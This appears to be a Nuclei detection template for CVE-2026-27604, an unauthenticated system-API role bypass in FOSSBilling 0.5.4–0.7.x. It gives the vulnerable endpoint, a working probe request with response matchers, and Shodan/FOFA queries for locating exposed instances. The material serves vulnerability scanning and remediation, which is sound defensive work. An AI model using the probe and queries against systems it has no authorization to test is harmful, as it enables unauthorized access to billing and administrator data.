CVE-2026-27604: FOSSBilling 0.5.4-0.7.x - Unauthenticated System API Role Authorization Bypass

id: CVE-2026-27604

info:
  name: FOSSBilling 0.5.4-0.7.x - Unauthenticated System API Role Authorization Bypass
  author: str4k3r
  severity: critical
  description: |
    FOSSBilling versions 0.5.4 through 0.7.x contain an authorization bypass in API role handling. The internal system role is accepted from the URL, resolves to the cron-admin identity, and reaches privileged system API methods without authentication, a session, or a CSRF token. Version 0.8.0 rejects the system route role.
  impact: |
    An unauthenticated remote attacker can invoke privileged FOSSBilling system API methods and may access or modify administrator-managed data.
  remediation: |
    Upgrade FOSSBilling to 0.8.0 or later, or block external access to /api/system/*.
  reference:
    - https://github.com/FOSSBilling/FOSSBilling/security/advisories/GHSA-78x5-c8gw-8279
    - https://github.com/FOSSBilling/FOSSBilling/releases/tag/0.8.0
    - https://nvd.nist.gov/vuln/detail/CVE-2026-27604
  classification:
    cve-id: CVE-2026-27604
    epss-score: 0.01264
    epss-percentile: 0.68962
    cwe-id: CWE-862
  metadata:
    verified: true
    max-request: 1
    vendor: fossbilling
    product: fossbilling
    shodan-query: http.html:"FOSSBilling"
    fofa-query: body="FOSSBilling"
  tags: cve,cve2026,fossbilling,api,auth-bypass,authorization,unauth

http:
  - raw:
      - |
        GET /api/system/system/error_reporting_enabled HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains_any(body, "\"result\":false", "\"result\":true")'
          - 'contains(body, "\"error\":null")'
          - 'status_code == 200'
        condition: and
# digest: 4a0a004730450221009b7acd3f386d754977caa09382478a07272f673567d6cd4f87a3a93a5fa88a3b02201361573bd3756d1906113d80fd4854f7e36bf1b89717328ddf61e4510bb3468a:922c64590222798bb761d5b6d8e72950

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